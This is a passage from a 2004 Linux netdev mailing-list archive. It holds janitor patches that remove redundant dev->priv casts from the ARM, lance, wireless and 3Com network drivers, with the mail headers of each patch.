ether3_timeout(struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = dev->priv; unsigned long flags; del_timer(&priv->timer); @@ -518,7 +518,7 @@ ether3_timeout(struct net_device *dev) static int ether3_sendpacket(struct sk_buff *skb, struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = dev->priv; unsigned long flags; unsigned int length = ETH_ZLEN < skb->len ? skb->len : ETH_ZLEN; unsigned int ptr, next_ptr; diff -puN drivers/net/arm/etherh.c~net_arm_casts drivers/net/arm/etherh.c --- linux-263-229/drivers/net/arm/etherh.c~net_arm_casts 2004-02-29 13:53:00.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/arm/etherh.c 2004-02-29 13:53:00.000000000 -0800 @@ -144,7 +144,7 @@ static expansioncard_ops_t etherh_ops = static void etherh_setif(struct net_device *dev) { - struct etherh_priv *eh = (struct etherh_priv *)dev->priv; + struct etherh_priv *eh = dev->priv; struct ei_device *ei_local = &eh->eidev; unsigned long addr, flags; @@ -188,7 +188,7 @@ etherh_setif(struct net_device *dev) static int etherh_getifstat(struct net_device *dev) { - struct etherh_priv *eh = (struct etherh_priv *)dev->priv; + struct etherh_priv *eh = dev->priv; struct ei_device *ei_local = &eh->eidev; int stat = 0; _ -- ~Randy -- ~Randy From rddunlap@osdl.org Sun Feb 29 15:10:43 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 15:10:55 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1TNAgKO000743 for ; Sun, 29 Feb 2004 15:10:42 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1TNAYE04004; Sun, 29 Feb 2004 15:10:34 -0800 Date: Sun, 29 Feb 2004 14:53:18 -0800 From: "Randy.Dunlap" To: jgarzik Cc: netdev@oss.sgi.com Subject: Re: [janitor] remove unneeded casts in lance drivers Message-Id: <20040229145318.2a88771e.rddunlap@osdl.org> In-Reply-To: <20040229142516.3d218ed0.rddunlap@osdl.org> References: <20040229142516.3d218ed0.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3664 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev From: Carlo Perassi drivers/net/7990.c | 8 ++++---- drivers/net/a2065.c | 6 +++--- drivers/net/atari_pamsnet.c | 12 ++++++------ drivers/net/bagetlance.c | 2 +- drivers/net/declance.c | 2 +- drivers/net/hplance.c | 4 ++-- drivers/net/sun3lance.c | 14 +++++++------- drivers/net/sunlance.c | 4 ++-- 8 files changed, 26 insertions(+), 26 deletions(-) diff -puN drivers/net/7990.c~net_lance_casts drivers/net/7990.c --- linux-263-229/drivers/net/7990.c~net_lance_casts 2004-02-29 14:02:29.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/7990.c 2004-02-29 14:02:29.000000000 -0800 @@ -216,7 +216,7 @@ static int init_restart_lance (struct la static int lance_reset (struct net_device *dev) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = dev->priv; int status; DECLARE_LL; @@ -401,7 +401,7 @@ static irqreturn_t lance_interrupt (int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *)dev_id; - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = dev->priv; int csr0; DECLARE_LL; @@ -457,7 +457,7 @@ lance_interrupt (int irq, void *dev_id, int lance_open (struct net_device *dev) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = dev->priv; int res; DECLARE_LL; @@ -499,7 +499,7 @@ void lance_tx_timeout(struct net_device int lance_start_xmit (struct sk_buff *skb, struct net_device *dev) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = dev->priv; volatile struct lance_init_block *ib = lp->init_block; int entry, skblen, len; static int outs; diff -puN drivers/net/a2065.c~net_lance_casts drivers/net/a2065.c --- linux-263-229/drivers/net/a2065.c~net_lance_casts 2004-02-29 14:02:29.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/a2065.c 2004-02-29 14:02:29.000000000 -0800 @@ -481,7 +481,7 @@ struct net_device *last_dev = 0; static int lance_open (struct net_device *dev) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = dev->priv; volatile struct lance_regs *ll = lp->ll; int ret; @@ -522,7 +522,7 @@ static int lance_close (struct net_devic static inline int lance_reset (struct net_device *dev) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = dev->priv; volatile struct lance_regs *ll = lp->ll; int status; @@ -556,7 +556,7 @@ static void lance_tx_timeout(struct net_ static int lance_start_xmit (struct sk_buff *skb, struct net_device *dev) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = dev->priv; volatile struct lance_regs *ll = lp->ll; volatile struct lance_init_block *ib = lp->init_block; int entry, skblen, len; diff -puN drivers/net/atari_pamsnet.c~net_lance_casts drivers/net/atari_pamsnet.c --- linux-263-229/drivers/net/atari_pamsnet.c~net_lance_casts 2004-02-29 14:02:29.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/atari_pamsnet.c 2004-02-29 14:02:29.000000000 -0800 @@ -667,7 +667,7 @@ struct net_device * __init pamsnet_probe */ static int pamsnet_open(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; if (pamsnet_debug > 0) printk("pamsnet_open\n"); @@ -696,7 +696,7 @@ pamsnet_open(struct net_device *dev) { static int pamsnet_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; unsigned long flags; /* Block a timer-based transmit from overlapping. This could better be @@ -742,7 +742,7 @@ pamsnet_send_packet(struct sk_buff *skb, */ static void pamsnet_poll_rx(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; int boguscount; int pkt_len; struct sk_buff *skb; @@ -817,7 +817,7 @@ pamsnet_poll_rx(struct net_device *dev) static void pamsnet_tick(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; if( pamsnet_debug > 0 && (lp->open_time++ & 7) == 8 ) printk("pamsnet_tick: %ld\n", lp->open_time); @@ -832,7 +832,7 @@ pamsnet_tick(unsigned long data) { */ static int pamsnet_close(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; if (pamsnet_debug > 0) printk("pamsnet_close, open_time=%ld\n", lp->open_time); @@ -859,7 +859,7 @@ pamsnet_close(struct net_device *dev) { */ static struct net_device_stats *net_get_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; return &lp->stats; } diff -puN drivers/net/bagetlance.c~net_lance_casts drivers/net/bagetlance.c --- linux-263-229/drivers/net/bagetlance.c~net_lance_casts 2004-02-29 14:02:29.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/bagetlance.c 2004-02-29 14:02:29.000000000 -0800 @@ -1247,7 +1247,7 @@ static int lance_close( struct net_devic static struct net_device_stats *lance_get_stats( struct net_device *dev ) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = dev->priv; return &lp->stats; } diff -puN drivers/net/declance.c~net_lance_casts drivers/net/declance.c --- linux-263-229/drivers/net/declance.c~net_lance_casts 2004-02-29 14:02:29.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/declance.c 2004-02-29 14:02:29.000000000 -0800 @@ -1287,7 +1287,7 @@ static void __exit dec_lance_cleanup(voi { while (root_lance_dev) { struct net_device *dev = root_lance_dev; - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = dev->priv; unregister_netdev(dev); #ifdef CONFIG_TC if (lp->slot >= 0) diff -puN drivers/net/hplance.c~net_lance_casts drivers/net/hplance.c --- linux-263-229/drivers/net/hplance.c~net_lance_casts 2004-02-29 14:02:29.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/hplance.c 2004-02-29 14:02:29.000000000 -0800 @@ -195,7 +195,7 @@ static unsigned short hplance_readrdp(vo static int hplance_open(struct net_device *dev) { int status; - struct hplance_private *lp = (struct hplance_private *)dev->priv; + struct hplance_private *lp = dev->priv; struct hplance_reg *hpregs = (struct hplance_reg *)lp->base; status = lance_open(dev); /* call generic lance open code */ @@ -209,7 +209,7 @@ static int hplance_open(struct net_devic static int hplance_close(struct net_device *dev) { - struct hplance_private *lp = (struct hplance_private *)dev->priv; + struct hplance_private *lp = dev->priv; struct hplance_reg *hpregs = (struct hplance_reg *)lp->base; out_8(&(hpregs->status), 8); /* disable interrupts at boardlevel */ lance_close(dev); diff -puN drivers/net/sun3lance.c~net_lance_casts drivers/net/sun3lance.c --- linux-263-229/drivers/net/sun3lance.c~net_lance_casts 2004-02-29 14:02:29.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/sun3lance.c 2004-02-29 14:02:29.000000000 -0800 @@ -402,7 +402,7 @@ static int __init lance_probe( struct ne static int lance_open( struct net_device *dev ) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = dev->priv; int i; DPRINTK( 2, ( "%s: lance_open()\n", dev->name )); @@ -439,7 +439,7 @@ static int lance_open( struct net_device static void lance_init_ring( struct net_device *dev ) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = dev->priv; int i; lp->lock = 0; @@ -499,7 +499,7 @@ static void lance_init_ring( struct net_ static int lance_start_xmit( struct sk_buff *skb, struct net_device *dev ) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = dev->priv; int entry, len; struct lance_tx_head *head; unsigned long flags; @@ -772,7 +772,7 @@ static irqreturn_t lance_interrupt( int /* get packet, toss into skbuff */ static int lance_rx( struct net_device *dev ) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = dev->priv; int entry = lp->new_rx; /* If we own the next entry, it's a new packet. Send it up. */ @@ -870,7 +870,7 @@ static int lance_rx( struct net_device * static int lance_close( struct net_device *dev ) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = dev->priv; netif_stop_queue(dev); @@ -888,7 +888,7 @@ static int lance_close( struct net_devic static struct net_device_stats *lance_get_stats( struct net_device *dev ) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = dev->priv; return &lp->stats; } @@ -904,7 +904,7 @@ static struct net_device_stats *lance_ge /* completely untested on a sun3 */ static void set_multicast_list( struct net_device *dev ) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = dev->priv; if(netif_queue_stopped(dev)) /* Only possible if board is already started */ diff -puN drivers/net/sunlance.c~net_lance_casts drivers/net/sunlance.c --- linux-263-229/drivers/net/sunlance.c~net_lance_casts 2004-02-29 14:02:29.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/sunlance.c 2004-02-29 14:02:29.000000000 -0800 @@ -816,7 +816,7 @@ out: static irqreturn_t lance_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *)dev_id; - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = dev->priv; int csr0; sbus_writew(LE_CSR0, lp->lregs + RAP); @@ -915,7 +915,7 @@ struct net_device *last_dev = 0; static int lance_open(struct net_device *dev) { - struct lance_private *lp = (struct lance_private *)dev->priv; + struct lance_private *lp = dev->priv; volatile struct lance_init_block *ib = lp->init_block; int status = 0; _ -- ~Randy From rddunlap@osdl.org Sun Feb 29 15:10:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 15:10:56 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1TNAgKO000740 for ; Sun, 29 Feb 2004 15:10:42 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1TNAXE04000; Sun, 29 Feb 2004 15:10:33 -0800 Date: Sun, 29 Feb 2004 14:42:18 -0800 From: "Randy.Dunlap" To: jgarzik Cc: netdev@oss.sgi.com Subject: Re: [janitor] remove unneeded casts in net/wireless/ Message-Id: <20040229144218.5d6b915d.rddunlap@osdl.org> In-Reply-To: <20040229142516.3d218ed0.rddunlap@osdl.org> References: <20040229142516.3d218ed0.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3665 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev From: Carlo Perassi drivers/net/wireless/atmel.c | 8 ++++---- drivers/net/wireless/orinoco.c | 8 ++++---- 2 files changed, 8 insertions(+), 8 deletions(-) diff -puN drivers/net/wireless/atmel.c~net_wireless_casts drivers/net/wireless/atmel.c --- linux-263-229/drivers/net/wireless/atmel.c~net_wireless_casts 2004-02-29 13:57:33.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/wireless/atmel.c 2004-02-29 13:57:33.000000000 -0800 @@ -796,7 +796,7 @@ static void tx_update_descriptor(struct static int start_tx (struct sk_buff *skb, struct net_device *dev) { - struct atmel_private *priv = (struct atmel_private *)dev->priv; + struct atmel_private *priv = dev->priv; struct ieee802_11_hdr header; unsigned long flags; u16 buff, frame_ctl, len = (ETH_ZLEN < skb->len) ? skb->len : ETH_ZLEN; @@ -1234,13 +1234,13 @@ static irqreturn_t service_interrupt(int static struct net_device_stats *atmel_get_stats (struct net_device *dev) { - struct atmel_private *priv = (struct atmel_private *)dev->priv; + struct atmel_private *priv = dev->priv; return &priv->stats; } static struct iw_statistics *atmel_get_wireless_stats (struct net_device *dev) { - struct atmel_private *priv = (struct atmel_private *)dev->priv; + struct atmel_private *priv = dev->priv; /* update the link quality here in case we are seeing no beacons at all to drive the process */ @@ -3053,7 +3053,7 @@ static void atmel_management_frame(struc static void atmel_management_timer(u_long a) { struct net_device *dev = (struct net_device *) a; - struct atmel_private *priv = (struct atmel_private *)dev->priv; + struct atmel_private *priv = dev->priv; unsigned long flags; /* Check if the card has been yanked. */ diff -puN drivers/net/wireless/orinoco.c~net_wireless_casts drivers/net/wireless/orinoco.c --- linux-263-229/drivers/net/wireless/orinoco.c~net_wireless_casts 2004-02-29 13:57:33.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/wireless/orinoco.c 2004-02-29 13:57:33.000000000 -0800 @@ -2271,7 +2271,7 @@ orinoco_get_wireless_stats(struct net_de static inline void orinoco_spy_gather(struct net_device *dev, u_char *mac, int level, int noise) { - struct orinoco_private *priv = (struct orinoco_private *)dev->priv; + struct orinoco_private *priv = dev->priv; int i; /* Gather wireless spy statistics: for each packet, compare the @@ -2290,7 +2290,7 @@ orinoco_stat_gather(struct net_device *d struct sk_buff *skb, struct hermes_rx_descriptor *desc) { - struct orinoco_private *priv = (struct orinoco_private *)dev->priv; + struct orinoco_private *priv = dev->priv; /* Using spy support with lots of Rx packets, like in an * infrastructure (AP), will really slow down everything, because @@ -2311,7 +2311,7 @@ orinoco_stat_gather(struct net_device *d static int orinoco_xmit(struct sk_buff *skb, struct net_device *dev) { - struct orinoco_private *priv = (struct orinoco_private *)dev->priv; + struct orinoco_private *priv = dev->priv; struct net_device_stats *stats = &priv->stats; hermes_t *hw = &priv->hw; int err = 0; @@ -2449,7 +2449,7 @@ orinoco_xmit(struct sk_buff *skb, struct static void orinoco_tx_timeout(struct net_device *dev) { - struct orinoco_private *priv = (struct orinoco_private *)dev->priv; + struct orinoco_private *priv = dev->priv; struct net_device_stats *stats = &priv->stats; struct hermes *hw = &priv->hw; _ -- ~Randy From rddunlap@osdl.org Sun Feb 29 15:10:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 15:11:04 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1TNAgKO000751 for ; Sun, 29 Feb 2004 15:10:43 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1TNAZE04010; Sun, 29 Feb 2004 15:10:35 -0800 Date: Sun, 29 Feb 2004 14:54:25 -0800 From: "Randy.Dunlap" To: jgarzik Cc: netdev@oss.sgi.com Subject: Re: [janitor] remove unneeded casts in 3com drivers Message-Id: <20040229145425.041757b1.rddunlap@osdl.org> In-Reply-To: <20040229142516.3d218ed0.rddunlap@osdl.org> References: <20040229142516.3d218ed0.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3670 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev From: Carlo Perassi drivers/net/3c501.c | 12 ++++++------ drivers/net/3c507.c | 10 +++++----- drivers/net/3c509.c | 16 ++++++++-------- drivers/net/3c59x.c | 42 +++++++++++++++++++++--------------------- 4 files changed, 40 insertions(+), 40 deletions(-) diff -puN drivers/net/3c501.c~net_3cxyz_casts drivers/net/3c501.c --- linux-263-229/drivers/net/3c501.c~net_3cxyz_casts 2004-02-29 14:02:48.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/3c501.c 2004-02-29 14:02:48.000000000 -0800 @@ -341,7 +341,7 @@ static int el_open(struct net_device *de { int retval; int ioaddr = dev->base_addr; - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; unsigned long flags; if (el_debug > 2) @@ -371,7 +371,7 @@ static int el_open(struct net_device *de static void el_timeout(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; int ioaddr = dev->base_addr; if (el_debug) @@ -411,7 +411,7 @@ static void el_timeout(struct net_device static int el_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; int ioaddr = dev->base_addr; unsigned long flags; @@ -698,7 +698,7 @@ out: static void el_receive(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; int ioaddr = dev->base_addr; int pkt_len; struct sk_buff *skb; @@ -764,7 +764,7 @@ static void el_receive(struct net_device static void el_reset(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; int ioaddr = dev->base_addr; if (el_debug> 2) @@ -828,7 +828,7 @@ static int el1_close(struct net_device * static struct net_device_stats *el1_get_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; return &lp->stats; } diff -puN drivers/net/3c507.c~net_3cxyz_casts drivers/net/3c507.c --- linux-263-229/drivers/net/3c507.c~net_3cxyz_casts 2004-02-29 14:02:48.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/3c507.c 2004-02-29 14:02:48.000000000 -0800 @@ -660,7 +660,7 @@ static int el16_close(struct net_device closed. */ static struct net_device_stats *el16_get_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; /* ToDo: decide if there are any useful statistics from the SCB. */ @@ -670,7 +670,7 @@ static struct net_device_stats *el16_get /* Initialize the Rx-block list. */ static void init_rx_bufs(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; unsigned long write_ptr; unsigned short SCB_base = SCB_BASE; @@ -713,7 +713,7 @@ static void init_rx_bufs(struct net_devi static void init_82586_mem(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; short ioaddr = dev->base_addr; unsigned long shmem = dev->mem_start; @@ -771,7 +771,7 @@ static void init_82586_mem(struct net_de static void hardware_send_packet(struct net_device *dev, void *buf, short length, short pad) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; short ioaddr = dev->base_addr; ushort tx_block = lp->tx_head; unsigned long write_ptr = dev->mem_start + tx_block; @@ -820,7 +820,7 @@ static void hardware_send_packet(struct static void el16_rx(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; unsigned long shmem = dev->mem_start; ushort rx_head = lp->rx_head; ushort rx_tail = lp->rx_tail; diff -puN drivers/net/3c509.c~net_3cxyz_casts drivers/net/3c509.c --- linux-263-229/drivers/net/3c509.c~net_3cxyz_casts 2004-02-29 14:02:48.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/3c509.c 2004-02-29 14:02:48.000000000 -0800 @@ -829,7 +829,7 @@ el3_open(struct net_device *dev) static void el3_tx_timeout (struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; int ioaddr = dev->base_addr; /* Transmitter timeout, serious problems. */ @@ -849,7 +849,7 @@ el3_tx_timeout (struct net_device *dev) static int el3_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; int ioaddr = dev->base_addr; unsigned long flags; @@ -975,7 +975,7 @@ el3_interrupt(int irq, void *dev_id, str outw(AckIntr | RxEarly, ioaddr + EL3_CMD); } if (status & TxComplete) { /* Really Tx error. */ - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; short tx_status; int i = 4; @@ -1022,7 +1022,7 @@ el3_interrupt(int irq, void *dev_id, str static struct net_device_stats * el3_get_stats(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; unsigned long flags; /* @@ -1043,7 +1043,7 @@ el3_get_stats(struct net_device *dev) */ static void update_stats(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; int ioaddr = dev->base_addr; if (el3_debug > 5) @@ -1073,7 +1073,7 @@ static void update_stats(struct net_devi static int el3_rx(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; int ioaddr = dev->base_addr; short rx_status; @@ -1145,7 +1145,7 @@ static void set_multicast_list(struct net_device *dev) { unsigned long flags; - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; int ioaddr = dev->base_addr; if (el3_debug > 1) { @@ -1172,7 +1172,7 @@ static int el3_close(struct net_device *dev) { int ioaddr = dev->base_addr; - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; if (el3_debug > 2) printk("%s: Shutting down ethercard.\n", dev->name); diff -puN drivers/net/3c59x.c~net_3cxyz_casts drivers/net/3c59x.c --- linux-263-229/drivers/net/3c59x.c~net_3cxyz_casts 2004-02-29 14:02:48.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/3c59x.c 2004-02-29 14:02:48.000000000 -0800 @@ -1516,7 +1516,7 @@ static void vortex_up(struct net_device *dev) { long ioaddr = dev->base_addr; - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = dev->priv; unsigned int config; int i; @@ -1714,7 +1714,7 @@ vortex_up(struct net_device *dev) static int vortex_open(struct net_device *dev) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = dev->priv; int i; int retval; @@ -1772,7 +1772,7 @@ static void vortex_timer(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = dev->priv; long ioaddr = dev->base_addr; int next_tick = 60*HZ; int ok = 0; @@ -1898,7 +1898,7 @@ leave_media_alone: static void vortex_tx_timeout(struct net_device *dev) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = dev->priv; long ioaddr = dev->base_addr; printk(KERN_ERR "%s: transmit timed out, tx_status %2.2x status %4.4x.\n", @@ -1968,7 +1968,7 @@ static void vortex_tx_timeout(struct net static void vortex_error(struct net_device *dev, int status) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = dev->priv; long ioaddr = dev->base_addr; int do_tx_reset = 0, reset_mask = 0; unsigned char tx_status = 0; @@ -2070,7 +2070,7 @@ vortex_error(struct net_device *dev, int static int vortex_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = dev->priv; long ioaddr = dev->base_addr; /* Put out the doubleword header... */ @@ -2125,7 +2125,7 @@ vortex_start_xmit(struct sk_buff *skb, s static int boomerang_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = dev->priv; long ioaddr = dev->base_addr; /* Calculate the next Tx descriptor entry. */ int entry = vp->cur_tx % TX_RING_SIZE; @@ -2225,7 +2225,7 @@ static irqreturn_t vortex_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = dev_id; - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = dev->priv; long ioaddr; int status; int work_done = max_interrupt_work; @@ -2330,7 +2330,7 @@ static irqreturn_t boomerang_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = dev_id; - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = dev->priv; long ioaddr; int status; int work_done = max_interrupt_work; @@ -2455,7 +2455,7 @@ handler_exit: static int vortex_rx(struct net_device *dev) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = dev->priv; long ioaddr = dev->base_addr; int i; short rx_status; @@ -2525,7 +2525,7 @@ static int vortex_rx(struct net_device * static int boomerang_rx(struct net_device *dev) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = dev->priv; int entry = vp->cur_rx % RX_RING_SIZE; long ioaddr = dev->base_addr; int rx_status; @@ -2627,7 +2627,7 @@ static void rx_oom_timer(unsigned long arg) { struct net_device *dev = (struct net_device *)arg; - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = dev->priv; spin_lock_irq(&vp->lock); if ((vp->cur_rx - vp->dirty_rx) == RX_RING_SIZE) /* This test is redundant, but makes me feel good */ @@ -2642,7 +2642,7 @@ rx_oom_timer(unsigned long arg) static void vortex_down(struct net_device *dev) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = dev->priv; long ioaddr = dev->base_addr; netif_stop_queue (dev); @@ -2678,7 +2678,7 @@ vortex_down(struct net_device *dev) static int vortex_close(struct net_device *dev) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = dev->priv; long ioaddr = dev->base_addr; int i; @@ -2740,7 +2740,7 @@ static void dump_tx_ring(struct net_device *dev) { if (vortex_debug > 0) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = dev->priv; long ioaddr = dev->base_addr; if (vp->full_bus_master_tx) { @@ -2773,7 +2773,7 @@ dump_tx_ring(struct net_device *dev) static struct net_device_stats *vortex_get_stats(struct net_device *dev) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = dev->priv; unsigned long flags; if (netif_device_present(dev)) { /* AKPM: Used to be netif_running */ @@ -2793,7 +2793,7 @@ static struct net_device_stats *vortex_g */ static void update_stats(long ioaddr, struct net_device *dev) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = dev->priv; int old_window = inw(ioaddr + EL3_CMD); if (old_window == 0xffff) /* Chip suspended or ejected. */ @@ -2855,7 +2855,7 @@ static struct ethtool_ops vortex_ethtool static int vortex_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = dev->priv; long ioaddr = dev->base_addr; struct mii_ioctl_data *data = (struct mii_ioctl_data *)&rq->ifr_data; int phy = vp->phys[0] & 0x1f; @@ -2942,7 +2942,7 @@ static void mdio_sync(long ioaddr, int b static int mdio_read(struct net_device *dev, int phy_id, int location) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = dev->priv; int i; long ioaddr = dev->base_addr; int read_cmd = (0xf6 << 10) | (phy_id << 5) | location; @@ -2976,7 +2976,7 @@ static int mdio_read(struct net_device * static void mdio_write(struct net_device *dev, int phy_id, int location, int value) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = dev->priv; long ioaddr = dev->base_addr; int write_cmd = 0x50020000 | (phy_id << 23) | (location << 18) | value; long mdio_addr = ioaddr + Wn4_PhysicalMgmt; @@ -3010,7 +3010,7 @@ static void mdio_write(struct net_device /* Set Wake-On-LAN mode and put the board into D3 (power-down) state. */ static void acpi_set_WOL(struct net_device *dev) { - struct vortex_private *vp = (struct vortex_private *)dev->priv; + struct vortex_private *vp = dev->priv; long ioaddr = 